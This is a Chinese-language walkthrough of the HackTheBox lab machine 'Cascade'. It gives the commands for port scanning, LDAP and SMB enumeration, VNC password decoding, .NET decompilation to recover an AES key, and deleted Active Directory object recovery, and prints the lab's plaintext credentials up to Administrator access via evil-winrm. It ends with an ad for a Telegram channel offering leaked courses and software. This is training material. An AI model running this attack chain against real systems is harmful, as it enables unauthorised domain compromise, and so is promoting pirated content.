
我将继续发布解决方案,以期从HackTheBox平台完成计算机的最终定稿。
在本文中,我们将深入研究LDAP,解码VNC密码,反编译dotNet应用程序,轻松解密AES以及恢复已删除的Active Directory对象。
与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。
侦察
这台机器的IP地址为10.10.10.182,我将其添加到/ etc / hosts中。
10.10.10.182 cascade.htb
第一步是扫描打开的端口。由于使用nmap扫描所有端口会花费很长时间,因此我将首先使用masscan进行扫描。我们以每秒500个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.182 --rate=500

主机上打开了许多端口。现在,让我们用nmap对其进行扫描以过滤并选择所需的对象。
nmap cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88

现在,要获取有关端口上运行的服务的更多详细信息,请使用-A选项运行扫描。
nmap -A cascade.htb -p49172,49157,49154,135,53,5985,636,389,139,49155,445,3269,3268,49158,88

像往常一样,首先要做的是首先列出SMB-enum4linux。
enum4linux -a cascade.htb


我们为自己保存了用户及其组成员的列表。让我们看看LDAP必须提供什么。
入口点
我们使用JXplorer处理LDAP。连接并查看所有对象。

从用户Ryan Thompson那里,我们找到了cascadeLegacyPwd属性。

我们解码base64并获得密码。

用户
找到凭据后,让我们使用CrackMapExec查看可供我们使用的SMB资源。
cme smb cascade.htb -u "r.thompson" -p "rY4n5eva" --shares

让我们连接到数据资源。
smbclient -U r.thompson //10.10.10.182/Data

让我们递归地进行所有操作。

现在,让我们下载并查看这些文件。
get "IT\Email Archives\Meeting_Notes_June_2018.html"
get "IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log"
get IT\Logs\DCs\dcdiag.log
get "IT\Temp\s.smith\VNC Install.reg"
在第一个文件中,他们讨论了网络传输,并且TempAdmin密码与常规管理员密码相同。

在第二个文件中,请自己注意用户ArkSvc的权限。

第三个文件中没有有趣的东西。但是在第四部分中,我们找到了s.smith用户的VNC密码。

我们使用vncpasswd对其进行解码。我们指示我们要解码密码(-d)并以十六进制形式传递它。
vncpasswd.py -d -H 6bcf2a4b6e5aca0f

如果查看enum4linux的输出,可以看到该用户是“远程管理用户”组的成员。让我们尝试使用该密码通过winrm服务登录。
evil-winrm -i cascade.htb -u s.smith -p sT333ve2

用户2
让我们看看该用户的SMB资源:
cme smb cascade.htb -u s.smith -p sT333ve2 --shares

可用审计$资源。
smbclient -U s.smith //10.10.10.182/Audit$

让我们下载所有内容。

在下载的文件中有一个数据库,通过打开数据库,您可以在LDAP表中输入凭据。

但是它们并不适合任何地方,显然密码是加密的,但是可以使用该程序解密。在这种情况下,存在CascCrypto.dll。而且,程序和库都是用C#编写的。

让我们使用dnSpy反编译程序。我们找到了从数据库读取密码并将其转移到解密功能的位置。密钥也被转移到那里。

对库进行反编译后,我们找到了加密模式和初始化向量。

因此,我们具有以下参数:

现在我们需要解密。让我们在CyberChef网站上进行操作。

然后我们得到了密码。如下enum4linux所示,该用户属于“远程管理用户”和“ AD回收站”组。您可能还记得,需要该用户来传输对象。并且TempAdmin用户具有与管理员相同的密码。但是它已被删除。
让我们看一下远程对象。
Get-ADObject -IncludeDeletedObjects -Filter {IsDeleted -eq $True}

然后我们找到了想要的对象。让我们获取其属性。
Get-ADObject -Filter {SamAccountName -eq 'TempAdmin'} -IncludeDeletedObjects -Properties *

然后我们解码密码。

让我们连接到WinRM并进行标记。
evil-winrm -i cascade.htb -u Administrator -p baCT3r1aN00dles

您可以通过Telegram加入我们。在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们建立一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。